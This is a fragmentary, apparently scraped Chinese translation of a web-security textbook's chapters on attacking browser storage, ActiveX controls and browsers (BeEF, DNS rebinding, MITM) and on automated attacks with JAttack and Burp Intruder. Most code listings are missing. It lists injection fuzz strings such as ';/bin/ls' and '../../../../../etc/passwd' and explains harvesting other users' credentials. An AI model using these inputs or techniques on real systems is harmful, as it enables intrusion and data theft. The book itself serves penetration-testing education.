黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）检查可从其文本字段中获取敏感数据的任何表单的HTML源代码。 （2）如果没有在表单标签或输入字段的标签中设置autocomplete=off属性，输入的数据将保存在已启用自动完成的浏览器中。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/260/ 13.5.5 Flash本地共享对象 Flash浏览器扩展实施它自己的本地存储机制，这种机制称为本地共享对象（LSO），也称为Flash cookie。与其他多数机制不同，存储在LSO中的数据可在不同的浏览器之间共享，只是这些浏览器安装了Flash扩展。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）有一些用于Firefox的插件（如BetterPrivacy）可浏览由个体应用程序创建的LSO数据。 （2）可以直接查看磁盘上的原始LSO数据的内容。这些数据的位置因浏览器和操作系统而异。例如，对于最新版本的Internet Explorer，LSO数据位于以下文件夹中： C:\\Users\\{用户名}\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\{随机}\\{域名}\\{存储名}\\{SWF文件名}"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/245/ 13.5.6 Silverlight独立存储 Silverlight浏览器扩展实施自己的本地存储机制，这种机制称为Silverlight独立存储。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 可以直接查看磁盘上的原始Silverlight独立存储数据的内容。对于最新版本的Internet Explorer，这些数据存储在以下位置的一系列多层嵌套、随机命名的文件夹中： C:\\Users\\{用户名}\\AppData\\LocalLow\\Microsoft\\Silverlight\\ 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/239/ 13.5.7 Internet Explorer userData Internet Explorer实施自己的本地存储机制，这种机制称为userData。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 可以直接查看存储磁盘上IE的userData中的原始数据的内容。对于最新版本的Internet Explorer，这些数据位于以下文件夹中： C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\{随机} 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/232/ 13.5.8 HTML5本地存储机制 HTML5正引入一系列新的本地存储机制，它们包括： 会话存储； 本地存储； 数据库存储。 这些机制的规范和用法仍在开发阶段。并非所有浏览器都实施了所有这些机制，测试其用法及查看存储的任何数据的方式因浏览器而异。 13.5.9 防止本地隐私攻击 即使敏感数据经过加密，应用程序也应避免将其保存在持久性cookie中。因为截获这些数据的攻击者可重新将其提交给应用程序。 应用程序应使用适当的缓存指令防止浏览器保存敏感数据。在ASP应用程序中，下面的指示将在服务器中包含必要的指令： 在Java应用程序中，可使用以下命令达到相同的目的： 应用程序决不能使用URL传送敏感数据，因为有许多位置都可能记录这些URL。应用程序应使用通过POST方法提交的HTML表单传送所有这些数据。 任何时候，如果用户在文本输入字段中填入敏感数据，都应在表单或字段标签中指定autocomplete=off属性。 其他客户端存储机制，如HTML5即将引入的新功能，将为应用程序提供实施重要功能的机会，包括更快速地访问特定的用户数据，并能够在网络访问不可用时继续工作。如果需要在本地存储敏感数据，最好是对这些数据进行加密，以防止攻击者直接访问它们。此外，应告知用户存储在本地的数据的本质，向他们警告攻击者本地访问这些数据的风险，以便其在需要时禁用此功能。 黑客攻防技术宝典：Web实战篇（第2版） 13.6 攻击ActiveX控件 如我们在第5章中所述，应用程序可以使用各种厚客户端技术将它的一些处理操作分配给客户端完成。ActiveX控件对于针对其他用户的攻击者特别有用。如果应用程序安装了一个可从自己的页面调用的控件，该控件必须注册为“脚本执行安全”。这样，用户访问的任何其他Web站点都能够使用这个控件。 通常，浏览器并不接受Web站点要求它们安装的任何ActiveX控件。默认情况下，当Web站点试图安装某个控件时，浏览器会显示一个安全警报，要求得到用户许可。是否信任发布该控件的Web站点以及是否允许安装该控件，将由用户自行决定。但是，如果用户安装该控件，并且其中包含任何漏洞，则用户访问的任何恶意Web站点都可以利用这些漏洞。 ActiveX控件中常见的对攻击者有用的漏洞主要分为两类。 由于ActiveX控件通常以C/C++之类的本地语言编写，它们之中很可能存在一些典型的软件漏洞，如缓冲区溢出、整数漏洞以及格式字符串漏洞（请参阅第16章了解详情）。人们已经在流行Web应用程序（如在线赌博站点）发布的ActiveX控件中发现了大量这些类型的漏洞。通常，攻击者可以利用这些漏洞在受害用户的计算机上执行任意代码。 许多ActiveX控件中包含一些本质上存在风险、易被滥用的方法。 LaunchExe(BSTR ExeName) SaveFile(BSTR FileName, BSTR Url) LoadLibrary(BSTR LibraryPath) ExecuteCommand(BSTR Command) 开发者往往会执行这些方法来提高控件的灵活性，以便于将来扩展控件的功能，而不必部署全新的控件。但是，一旦安装了这些控件，任何恶意站点当然也可以通过同样的方式对其进行“扩展”，从而执行针对用户的恶意操作。 13.6.1 查找ActiveX漏洞 当应用程序安装ActiveX控件时，除浏览器会显示一个要求获得安装控件许可的警报外，还应该可以在某个应用程序页面的HTML源代码中看到类似于下面的代码： 这段代码告诉浏览器用指定的名称和classid示例化ActiveX控件，并从指定的URL下载该控件。如果浏览器中已经安装有控件，就不需要使用codebase参数，浏览器会根据控件的唯一classid，从本地计算机中找到该控件。 如果用户允许安装这个控件，浏览器会将其注册为“脚本执行安全”。这意味着将来任何Web站点都可以将其示例化，并调用它的方法。可以通过检查注册表项HKEY_CLASSES_ROOT\\CLSID\\从上面的HTML中提取的控件classid\\Implemented Categories确认这一点。如果其中存在子注册表项7DD95801-9882-11CF-9FA9-00AA006C42C4，则表示该控件已经注册为“脚本执行安全”，如图13-6所示。 图13-6 已注册为“脚本执行安全”的控件 浏览器示例化ActiveX控件后，就可以通过以下脚本调用它的方法："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 一种探查ActiveX漏洞的简单方法是，修改调用该控件的HTML代码，向其提交自己的参数，然后监控执行结果。 （1）使用第16章描述的相同攻击有效载荷可探查缓冲区溢出之类的漏洞。如果以不受控制的方式触发这种漏洞，很可能会导致负责该控件执行的浏览器进程崩溃。 （2）本质上存在风险的方法通过其名称即可确定，如LaunchExe。在其他情况下，控件名称可能无害或含义模糊，但有时，一些有用的数据，如文件名、URL或系统命令，明显被用作控件的参数。应该尝试将这些参数修改为任意值，确定控件是否按预计的方式处理输入。 我们常常发现，应用程序并没有调用控件的所有方法。例如，一些方法主要用于测试目的、一些已被取代但尚未删除、一些可能是为了方便将来使用或用于自我更新目的。为了对控件进行综合测试，有必要枚举出它通过这些方法暴露的各种受攻击面，并对这些受攻击面进行彻底测试。 有各种工具可用于枚举和测试ActiveX控件方法。iDefense开发的COMRaider就是一个有用的工具，它能够显示一个控件的全部方法，并对每个方法执行基本的模糊测试，如图13-7所示。 图13-7 COMRaider显示某个ActiveX控件的方法 13.6.2 防止ActiveX漏洞 保护本地编译软件组件的安全，防止其受到攻击，是一个广泛而复杂的话题，这不属于本书 的讨论范围。基本上，ActiveX控件的设计者与开发者必须确保恶意Web站点无法调用该控件实施的方法，用以对安装这个控件的用户执行恶意操作。以下是一些应该注意的问题。 应对控件进行以安全为中心的源代码审查与渗透测试，以确定缓冲区溢出之类的漏洞。 控件不得暴露任何使用用户可控制的输入调用外部文件系统或操作系统、本质上存在风险的方法。只需稍微做出一些努力，就可以找到更安全的替代方法。例如，如果有必要启动外部进程，则应编辑一个列表，列出所有可合法、安全启动的外部进程；然后创建单独的方法调用每个进程，或者使用一个方法提取这个列表中的索引号。 为进行深层防御，一些ActiveX控件对发布HTML页面（这些控件即从中调用）的域名进行确认。Microsoft的“SiteLock活动模板库”模板允许开发者将ActiveX控件仅限于特定的域名列表。 一些控件甚至更进一步，要求提交给它们的所有参数必须使用加密签名。如果提交的签名无效，控件不会执行请求的操作。还要注意，如果允许调用这些控件的Web站点存在任何XSS漏洞，那么攻击者就有可能突破这类防御。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 13.7 攻击浏览器 迄今为止，我们在这一章和上一章介绍的攻击主要与利用应用程序的某种行为特征攻破应用程序用户有关。 虽然某些攻击技巧需要利用特定浏览器的怪癖，但跨站点脚本、跨站点请求仿造以及JavaScript劫持之类的攻击全都源于特定Web应用程序中的漏洞。"},
    {"text": "通过展示在不存在任何应用程序特定漏洞的情况下，攻击者可以达到什么目的，这些攻击还为我们了解各种应用程序行为的影响提供了相关信息。"},
    {"text": "下面的概念验证脚本将截获Internet Explorer中的所有键击，并在浏览器的状态栏中显示全部内容： 只有当运行上述代码的框架处于激活状态时，这些攻击才能捕获键击。"},
    {"text": "在所 谓的“逆向键击劫持”攻击中，在子框架中运行的恶意代码能够夺取顶层窗口的控制权，因为同源策略并不能阻止这种操作。 恶意代码可以通过处理onkeydown事件来捕获键击，并且能够将单独的onkeypress事件传递给顶层窗口。"},
    {"text": "攻击者可以动态创建常用Web站点以及搜索查询的超链接，并使用getComputedStyle API检查这些链接是否以彩色标记为“已被访问”，从而完成这项任务。"},
    {"text": "通过对受保护的页面执行跨域脚本包含，并运行定制的错误处理程序来处理脚本错误，种行为可确定用户是否已经登录第三方Web应用程序： 当然，无论受保护的页面处于什么状态，由于它仅包含HTML内容，因此这时将会出现一个JavaScript错误。"},
    {"text": "确定用户当前登录哪些常用的第三方应用程序后，攻击者就可以执行针对性极强的跨站点请求伪造攻击，以被攻破的用户身份在应用程序中执行任意操作。"},
    {"text": "13.7.5 攻击其他网络主机 成功使用端口扫描确定其他主机后，就可以使用一段恶意脚本尝试标识每一个发现的服务，然后通过各种方法实施攻击。"},
    {"text": "在本示例中，攻击者可以尝试使用默认证书登录路由器，并对路由器进行重新配置，以打开其外部接口上的其他端口，或向外界披露它的管理功能。"},
    {"text": "13.7.6 利用非HTTP服务 除针对Web服务器实施攻击外，有些情况下还可以利用用户的浏览器、针对可以从用户的计算机访问的非HTTP服务实施攻击。 只有所攻击的服务接受必然会在每个请求的开头出现的HTTP消息头，攻击者就可以在消息主体中发送任意二进制内容，从而与非HTTP服务进行交互。"},
    {"text": "我们已在第12章介绍了一种跨域发送任意消息主体的技巧，该技巧使用HTML表单（其enctype属性设置为text/plain）向易受攻击的应用程序发送XML内容。"},
    {"text": "下面的论文介绍了实施这类攻击的其他技巧： www.ngssoftware.com/research/papers/InterProtocolExploitation.pdf 这类协议间攻击可对目标服务实施未授权操作，或利用该服务内的代码级漏洞来攻破目标服务器。"},
    {"text": "非HTTP服务必须在未被浏览器阻止的端口上运行（如前所述）。 非HTTP必须接受浏览器发送的意外HTTP消息头，而不仅仅是在出现这种情况时关闭网络连接。"},
    {"text": "用户访问攻击者域上的恶意Web页面。 为检索此页面，用户的浏览器会将攻击者的域名解析为攻击者的IP地址。 攻击者的Web页面向攻击者的域提出Ajax请求（同源策略允许这种行为）。"},
    {"text": "由于这些请求与攻击者的原始页面在同一个域上，因此，同源策略允许攻击者的代码检索目标应用程序返回的请求的内容，并将这些内容返还给攻击者（可能位于受其控制的其他域上）。"},
    {"text": "除浏览器外，还可以针对浏览器扩展和Web代理实施DNS重新绑定攻击，不过浏览器扩展和Web代理的运行机制可能会有所不同。 请注意，在DNS重新绑定攻击中，就浏览器而言，针对目标应用程序的请求仍然在攻击者的域中提出。"},
    {"text": "例如，如果用户处在无法通过互联网直接访问的组织内部网络中，攻击者可以诱使该用户从所在网络的其他系统中检索内容，并将这些内容传送给攻击者。"},
    {"text": "放置钩子后，浏览器就会与攻击者控制的服务器建立联系。 浏览器会定期访问这个服务器，向攻击者提交数据，同时提供一个控制信道，方便接收攻击者发出的命令。"},
    {"text": "注解 尽管同源策略实施了各种限制，但在这种情况下，攻击者仍然可以利用各种技巧、通过已注入到目标应用程序中的脚本与其控制的服务器进行双向异步交互。"},
    {"text": "对其他主机（位于被攻破的用户浏览器能够访问的私有网络中）进行端口扫描，并向攻击者传送扫描结果； 通过迫使浏览器发送恶意请求，可对借助被攻破的用户浏览器访问的其他Web应用程序实施攻击；"},
    {"text": "图13-8说明了BeEF如何截取一名被攻破用户的信息，包括计算机的相关资料、当前显示的URL与页面内容，以及用户输入的键击。 图13-8 利用BeEF从一名被攻破的用户截取的数据 图13-9显示BeEF正对受害用户的计算机进行端口扫描。"},
    {"text": "这个框架提供一系列功能，可控制通过XSS攻破的僵尸主机（zombie host），包括截获键击、剪贴板内容、鼠标移动、屏幕截图、URL历史记录，以及注入任意JavaScript命令。"},
    {"text": "13.7.10 中间人攻击 我们在前几章中讲到，如果应用程序使用未加密HTTP通信，则位于适当位置的攻击者可以通过各种方式拦截敏感数据，如密码和会话令牌。"},
    {"text": "即使所攻击的应用程序并不使用普通HTTP传送任何内容，但攻击者仍然可以通过向任何其他域提出HTTP请求来返回重定向，从而诱使用户使用普通HTTP向目标域提出请求。 虽然应用程序本身可能不会监听端口80上的HTTP请求，但攻击者可以拦截这些诱发的请求，并在这些请求的响应中返回任意内容。"},
    {"text": "这时，攻击者的脚本（由诱发的HTTP请求的响应返回）就可以利用此类扩展来读取或写入用户使用HTTPS访问的页面的内容。 要实施上述攻击，需要通过某种方法，如从用户向任何其他域提出的HTTP请求返回重定向响应，诱使用户向目标域提出任意HTTP请求。"},
    {"text": "这时，攻击者可以通过HTTP，用指向目标域的重定向来响应其中的任何请求。 如果浏览器直接 访问该重定向，攻击者就可以实施上述某种攻击，首先攻破目标域的HTTP来源，然后将攻击扩展到HTTPS来源。"},
    {"text": "注重安全的用户如果需要通过不可信网络访问受HTTPS保护的敏感内容，可以将浏览器的代理配置设置为“对除HTTPS以外的所有协议使用无效的本地端口”，从而在一定程度上阻止上述攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 13.8 小结 我们已经分析了各种情形，说明了Web应用程序中存在的漏洞是如何令它的用户遭受恶意攻击的。许多这种漏洞都非常难以理解和发现，而且在这个过程中往往需要进行大量的调查，为此付出的努力超出了它们作为某个重要攻击的前提的实际意义。然而，严重的漏洞常常隐藏在大量无关紧要的客户端缺陷之中，而攻击者则可以利用这类漏洞对应用程序实施攻击。因此，许多时候，付出这样的努力还是值得的。 而且，随着人们对Web应用程序安全意识的逐渐增强，直接针对服务器组件的攻击可能更难以发现或实施。但是，针对其他用户的攻击，无论其结果好坏，肯定会成为每个人将来必须面对的问题。 黑客攻防技术宝典：Web实战篇（第2版） 13.9 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）已知一项应用程序功能将一个查询字符串参数的内容插入到某个HTTP重定向的Location消息头中。利用这种行为，攻击者可以实施哪3种不同类型的攻击？ （2）要针对应用程序的一项敏感功能实施CSRF攻击，必须满足什么前提条件？ （3）哪3种防御措施可用于防止JSON劫持攻击？ （4）对于以下每一种技术，确定该技术请求/crossdomain.xml正确实施域隔离的任何情形： （a）Flash （b）Java （c）HTML5 （d）Silverlight （5）“我们不会受到单击劫持攻击，因为我们不使用框架。”以上表述是否正确，为什么？ （6）已知在某应用程序使用的昵称中存在一个永久性XSS漏洞。此字符串仅在配置它的用户登录应用程序时向该用户显示。请描述用于攻破该应用程序的其他用户的攻击所需执行的步骤。 （7）如何测试应用程序是否允许使用XMLHttpRequest提出跨域请求？ （8）请描述攻击者可诱使受害者使用任意cookie的3种方法。 黑客攻防技术宝典：Web实战篇（第2版） 第14章 定制攻击自动化 本 章不再介绍任何新的漏洞，而是分析向Web应用程序实施攻击的一个关键问题——如何使用自动控制加强并促进定制攻击。我们所讨论的技巧可用于整个应用程序以及攻击过程的每一个阶段，包括最初的解析过程到实际的应用。 每一个Web应用程序都各不相同。渗透测试员需要使用各种手动操作与技巧向应用程序实施有效攻击，以理解它的行为，并探查其中存在的漏洞。同时还必须发挥想象，利用自己的经验与直觉。通常，测试员应当根据已经确定的特殊行为，以及应用程序允许与其交互并对其进行控制的特定情形，实施本质上定制或自定义的攻击。手动实施定制可能极其费力，而且容易出错。为此，最成功的Web应用程序黑客往往会努力简化他们的定制攻击，设法将其自动化，使其更简单、快捷、高效。 本章将讨论一种实现定制攻击自动控制的公认方法。这种方法结合了人类智慧及计算机蛮力的优点，常常会造成破坏性的后果。本章还将介绍使用自动化技巧时遇到的各种障碍，以及避开这些障碍的方法。 黑客攻防技术宝典：Web实战篇（第2版） 14.1 应用定制自动化攻击 在以下3种情况下，定制自动化攻击技巧有助于渗透测试员向Web应用程序实施攻击。 枚举标识符 。大多数应用程序使用各种名称与标识符指代数据和资源，如账号、用户名和文档ID。测试员需要经常浏览数目庞大的潜在标识符，才能枚举出那些有效或值得进一步研究的标识符。在这种情况下，可以使用完全定制的自动技巧来分析一组可能的标识符，或者遍历应用程序所使用的标识符的语法范围。 使用页码参数获取特殊内容的应用程序就是一个典型的示例： 在浏览应用程序的过程中，会发现大量有效的PageNo值；但是，要确定每一个有效值，必须循环查找整个语法范围，而手动操作根本无法做到这一点。 获取数据 。通过提出专门设计的特殊请求，利用各种Web应用程序漏洞，测试员就可以从应用程序中提取到有用的或敏感的数据。例如，个人资料页面可能会显示当前用户的个人与银行交易信息，并指出该用户在应用程序中的权限。通过一个访问控制漏洞，就可 以查看任何用户的个人资料页面，但一次只能获得一名用户的资料。要获得所有用户的资料，可能需要提交成千上万个请求。这时，就可以使用一个自动化定制攻击截获所有数据，而不是进行手动操作。 获取有用数据的一个示例是对前面描述过的枚举攻击的扩展。这时不必确认到底哪些PageNo值为有效值；相反，可以利用自动化攻击来从获得的每个页面中提取出HTML标题标签（title tag）的内容，迅速扫描所有页面，查找有用的数据。 Web应用程序模糊测试 。当描述探查常见Web应用程序漏洞时，能够见到大量的示例，在这些示例中，探查漏洞的最佳方法是提交各种反常的数据和攻击字符串，然后检查应用程序的响应，查找任何表示可能存在漏洞的异常现象。在大型应用程序中，在进行初步解析过程中，已经确定一些需要探查的特殊请求，每个请求都包含各种不同的参数。手动检查每一个参数既费时又费力，而且可能会忽略大部分受攻击面。但是，使用定制自动攻击技巧，就可以立即生成大量包含常用攻击字符串的请求，迅速访问服务器的响应，找到所有值得进一步研究的参数。这种技巧常被称为模糊测试（fuzzing）。 我们将详细讨论这三种情形，并说明如何利用定制自动攻击技巧显著提高攻击效率。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 14.2 枚举有效的标识符 在描述各种常见漏洞与攻击技巧的过程中，我们提到，应用程序经常使用名称或标识符指代各种数据；"},
    {"text": "确定一个适当的请求/响应对后，接下来应向应用程序提交大量自动请求，循环浏览所有潜在的标识符，或者遍历已知应用程序使用的标识符的语法范围。"},
    {"text": "4．Location消息头 有时候，应用程序会以一个HTTP重定向（状态码为301或302）响应访问某个特殊URL的请求，重定向的目标则取决于在请求中提交的参数。"},
    {"text": "但是，如果提交的是有效的用户名，应用程序就需要进行各种后端处理来确认用户提交的证书，其中一些处理可能要进行大量计算，如果发现证书错误，再返回相同的消息。"},
    {"text": "例如，下面的bash脚本从stdin读取一组潜在的页面ID，使用netcat工具请求一个包含每个ID的URL，同时记录服务器响应的第一行，其中包含HTTP状态码： 用一个适当的输入文件（input file）运行这段脚本，得到以下输出，可以迅速从中确定有效的页面ID： 提示 Cygwin环境可用于在Windows平台上运行bash脚本；"},
    {"text": "下面的示例使用curl工具生成请求，并通过findstr命令过滤输出： 虽然这些简单的脚本非常适于执行一些不太复杂的任务，如循环浏览一组参数值及在服务器响应中解析某个属性，但是，在许多情况下，可能需要使用比命令行脚本更强大、更灵活的工具。"},
    {"text": "14.2.4 JAttack JAttack是一个简单但功能强大的工具，通过它，任何人只要懂得一些编程基础知识，就可以使用定制自动技巧向应用程序实施强大的攻击。"},
    {"text": "不要把请求仅当做一个非结构化的文本块处理，而是要利用该工具理解请求参数的概念：它是一个可被操控，并以特殊方式附加在请求上的命名数据。"},
    {"text": "首先建立一个所有有效载荷必须执行的界面，提高这个工具的灵活性： nextPayload方法可用于监控有效载荷源的状态，直到它的全部有效载荷用完后才返回true。"},
    {"text": "它包括在请求中插入每种类型的参数，并增加任何必要的消息头： 注解 如果自己编写代码生成POST请求，那么，和在前面的代码中一样，就需要在其中包含一个有效的Content-Length消息头，指定每个请求中HTTP主体的实际长度。"},
    {"text": "为编写并运行这些代码，需要下载Sun公司的Java SDK与JRE，然后运行下面的脚本： 根据我们在示例中的配置，这个工具输出如下结果： 如果网络连接与处理能力一切正常，JAttack每分钟能够提出数百个请求，并输入相关细节，帮助迅速确定需要进一步研究的有效文档标识符。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/app/ 看起来，似乎刚刚描述的攻击并不比前面只需要几行代码的bash脚本实例更复杂。但是，JAttack的设计形式允许对它进行任意修改，从而实施更加强大的攻击，合并多个请求参数、各种有效载荷源，并对响应进行任何复杂的处理。下面几节将对JAttack的代码进行一些修改，使其实现更强大的功能。 黑客攻防技术宝典：Web实战篇（第2版） 14.3 获取有用的数据 当攻击应用程序时，定制自动化技巧的第二个主要用途是，通过专门设计的特殊请求，以一次一个数据的速度获取信息，从而提取出有用的或敏感的数据。如果已经确定一个可供利用的漏洞（如访问控制缺陷），并能够通过为一个未授权的资源指定标识符的方式来访问这个资源，那此时往往就会出现这种情况。但是，即使应用程序完全按设计者预计的方式运行，也可能会出现这种情况。在下面这些情况下，渗透测试员可以使用自动化技巧获取数据。 一个网上零售应用程序允许注册用户查看他们的待办订单。但是，如果能够确定其他用户的订单号，就可以查看他们的订单信息，就像查看自己的订单一样。 忘记密码功能的实施取决于用户配置的质询。可以提交任意用户名并查看相关质询。通过遍历一组枚举或猜测出来的用户名，就能够获得大量用户密码质询，从而确定那些最容易猜测的质询。 一个工作流程应用程序包含一项功能，可显示某一用户的基本账户信息，包括他在应用程序中的权限。通过遍历应用程序使用的用户ID，渗透测试员就能够列出所有的管理用户，并以此为基础进行密码猜测和其他攻击。 使用自动化技巧获取数据的基本步骤与枚举有效标识符的步骤基本类似，其不同之处在于，现在不仅对一个二进制结果（“触点”或“错失”）感兴趣，还要设法从每个响应中提取有用的内容。以下面的请求为例，它由登录用户提出，以显示其账户信息。 虽然只有通过验证的用户能够访问此应用程序功能，但由于存在访问控制漏洞，任何用户只需简单修改uid参数，即可查看其他所有用户的详细资料。在另一个漏洞中，披露的详细资料还包括用户的完整证书。由于用户的uid参数值相对较小，因此，攻击者能够轻易推测出其他用户的标识符。 当应用程序显示一个用户的资料时，页面源代码会将个人信息包含在下面的HTML表中： 根据应用程序的行为，攻击者可直接实施定制自动攻击，获取所有应用程序用户的个人信息，包括证书等。 为实施攻击测试，我们快速对JAttack工具进行一些改进，使它能够提取并记录服务器响应中的特殊数据。首先，将攻击配置数据添加到源代码的字符串列表内，通过它们确定想要提取的有用内容： 然后把下面的代码添加到parseResponse方法中，以在每个响应中搜索上述列表中的每一个字符串，并提取字符串后到圆括号位置的内容： 这就是对这个工具的代码进行的全部修改。为配置JAttack针对我们感兴趣的实际请求，需要对它的攻击配置进行如下更新： 这个配置指示JAttack向相关URL提出包含2个必要参数的请求：包含当前会话令牌的cookie和易受攻击的用户标识符。其中只有一个参数会通过我们指定的uid号范围进行修改。 现在再运行JAttack，得到以下结果： 可见，这次攻击成功截取了一些顾客的个人资料。通过扩大攻击的数值范围，我们可以提取应用程序所有用户的登录信息，很有可能还包含管理员。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/498/ 注意，如果对此实验室示例运行JAttack代码，则需要根据应用程序发布的值调整攻击配置中使用的URL、会话cookie和用户ID参数。 提示 以制表符分隔格式输出的数据可轻易加载到Excel之类的电子表格软件中，以对其进行进一步处理或整理。许多时候，通过以上方法获取的数据可用作其他自动攻击的输入。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 14.4 常见漏洞模糊测试 定制自动化技巧的第三个主要用途并不包含利用任何已知的漏洞枚举或提取信息，而是使用各种旨在造成反常行为的、专门设计的攻击字符串来探查应用程序中是否存在任何常见的漏洞。因为以下原因，与前面描述的攻击相比，这种类型的攻击更加缺乏针对性。 无论每个参数的正常功能是什么，或者应用程序希望收到何种类型的数据，在这种攻击中，往往需要提交与测试应用程序每个页面的每一个参数相同的攻击有效载荷。这些有效载荷有时叫作模糊测试字符串（fuzz string）。 事先并不知道如何确定“触点”。与其监控应用程序的响应，在其中查找特殊的指标，还不如系统性地截取尽可能多的数据并对其进行审查，确定攻击字符串在应用程序中触发反常行为的情形，然后再做深入调查。 当探查各种常见的Web应用程序漏洞时，一些漏洞会通过特别明显的应用程序行为表现出来，这些行为包括特定的错误消息或HTTP状态码。有时可以根据这些漏洞签名来探查常见的漏洞；而且，自动化应用程序漏洞扫描器也使用这种方法来确定绝大多数的漏洞（请参阅第20章了解相关内容）。然而，从理论上讲，向应用程序提交的任何测试字符串都会产生某种可以预料的行为，在特定的条件下，表明应用程序存在某种漏洞。为此，经验丰富的攻击者使用定制自动化技巧，就比单单使用全自动化工具更有效率。这类攻击者会对应用程序响应中的每一个相关细节进行全面分析；他能够从应用程序设计者与开发者的角度考虑问题。此外，他能够发现并调查请求与响应之间不寻常的联系，而当前还没有任何工具能够做到这一点。 功能复杂的大型应用程序中包含大量动态页面，且每个页面都能接受各种参数，这时，使用自动化技巧查找漏洞就非常有用。手动测试每一个参数，并追踪应用程序对相关请求响应中的有关细节，是一个几乎无法完成的任务。使用自动化工具代替完成需要手动执行的任务，是在这种应用程序中探查漏洞的唯一实用的方法。 确定上一个示例中的访问控制不完善并对其加以利用后，我们还可以实施模糊测试攻击来检查各种基于输入的漏洞。作为对受攻击面的初步测试，我们决定在每个参数中轮流提交以下字符串。 ′，如果存在SQL注入漏洞，某些情况下，提交这个字符串将造成一个错误。 ;/bin/ls，如果存在命令注入漏洞，提交这个字符串可能导致无法预料的行为。 ../../../../../etc/passwd，如果存在路径遍历漏洞，提交这个字符串可能生成一个不同的响应。 xsstest，如果这个字符串被复制到服务器的响应中，那么应用程序就容易受到跨站点脚本攻击。 我们将对JAttack工具进行扩展，通过创建一个新的有效载荷源，生成这些有效载荷，如下所示： 注解 任何探查应用程序安全漏洞的重要攻击都需要使用许多其他攻击字符串，以确定其他薄弱环节和前面提到的漏洞的其他变化形式。我们将在第21章提供一个更加全面的列表，列出在对Web应用程序进行模糊测试时需要的所有字符串。 为使用JAttack进行模糊测试，还需要扩展它的响应分析代码，使其能够提供更多与应用程序响应有关的信息。显著提高这种分析能力的一个简单办法，就是在每个响应中搜索指示出现某种反常行为的常见字符串和错误消息，并记录它们在工具的输出结果中出现的每一种情况。 首先，在攻击配置数据中添加想要搜索的字符串列表： 然后插入下面的parseResponse方法，以在响应中搜索前面提到的每一个字符串，并记录任何发现的字符串： 提示 事实证明，枚举应用程序中的标识符时，在JAttack中合并这种搜索功能往往非常有用。通常，在应用程序的响应中是否存在某个特殊的表达式是出现“触点”的最可靠指标。 我们可以利用这些代码建立一个基本的Web应用程序漏洞测试器。当实施具体的攻击时，测试员只需用相关的请求细节对JAttack进行配置，指示它攻击每一个参数。代码如下所示： 配置这些细节后就可以开始实施攻击。在几秒钟内，JAttack就已经向所有请求参数提交了攻击有效载荷。而手动提交至少需要几分钟时间，审查并分析应用程序收到的响应则需要更长时间。 接下来再对JAttack的输入结果进行手动检查，尝试确定任何表示漏洞存在的反常行为。分析下面这段输出摘录： 对于修改SessionId参数的请求，应用程序返回一个始终为相同长度的重定向响应。这种行为并不表示存在任何漏洞。这并不奇怪，因为在登录时修改会话令牌通常会使当前会话失效，用户将被重定向到登录页面。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/498/"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 14.5 整合全部功能：Burp Intruder JAttack由不到250行的简单代码构成，然而，当对一个向应用程序提出的请求进行模糊测试时，它在几秒钟内就能发现至少两个严重的安全漏洞。"},
    {"text": "为便于参考，最好是保存应用程序的全部响应，这样就可以立即检查一个有用的响应，了解发生了什么状况，甚至手动调整对应的请求并重新提出这个请求。"},
    {"text": "确定以某个特殊请求作为攻击对象后，Burp Intruder使用一组标记定义每个有效载荷位置，指明插入有效载荷的起始点与结束点，如图14-1所示。"},
    {"text": "sniper攻击类型是最常见的一种攻击类型，它的作用与JAttack的请求引擎相同：一次针对一个有效载荷位置，在那个位置提交所有有效载荷，然后转向下一个位置。"},
    {"text": "其他攻击类型允许使用几个有效载荷，以不同的方式一次针对几个位置进行攻击。 2．选择有效载荷 准备攻击的下一个步骤是选择将要在指定位置插入的有效载荷。"},
    {"text": "“字符打乱”和“位翻转”功能，可用于系统化地操纵参数的现有值的各个部分，以探查应用程序如何处理各种难以察觉的修改（请参阅第7章）。"},
    {"text": "假设以每名用户登录后显示的主页为攻击对象： 由于已经知道会话令牌的结构及应用程序如何处理令牌，因此，只需令牌的最后一个部分就可实施攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/502/ 提示 事实证明，响应长度往往是一个明显的指标，指出值得进一步调查的反常响应。在上面的示例中，一个长度不同的响应会让测试员发现在设计攻击时未曾预料到的管理员会话令牌。因此，即使其他属性提供了一个可靠的“触点”指标（如HTTP状态码），还是应始终检查响应长度列，以确定其他有用的响应。 5．攻击2：获取信息 进一步浏览到应用程序的已通过验证的区域，我们注意到应用程序在URL参数中使用索引号来标识用户请求的功能。例如，以下URL用于显示当前用户的“用户资料”页面： 这种行为提供了一个极好的机会，可用于搜集之前尚未发现及未获得正确授权的功能。为此，可以使用Burp Intruder遍历一系列可能的pageid值，并提取出所发现的每个页面的标题。 在这种情况下，通常较为明智的做法，是在某个已知包含有效值的数值范围内开始内容搜集。为此，可以将有效载荷位置标记设置为针对pageid的最后两位数，如图14-5所示，并生成00到99范围内的有效载荷。 图14-5 安置有效载荷 攻击者可以配置Intruder使用“提取Grep”功能以可用的方式截取所有这些信息。其运作方式与JAttack的提取功能类似——只需指定想要提取的数据之前的表达式，如图14-6所示。 图14-6 配置“提取Grep”功能 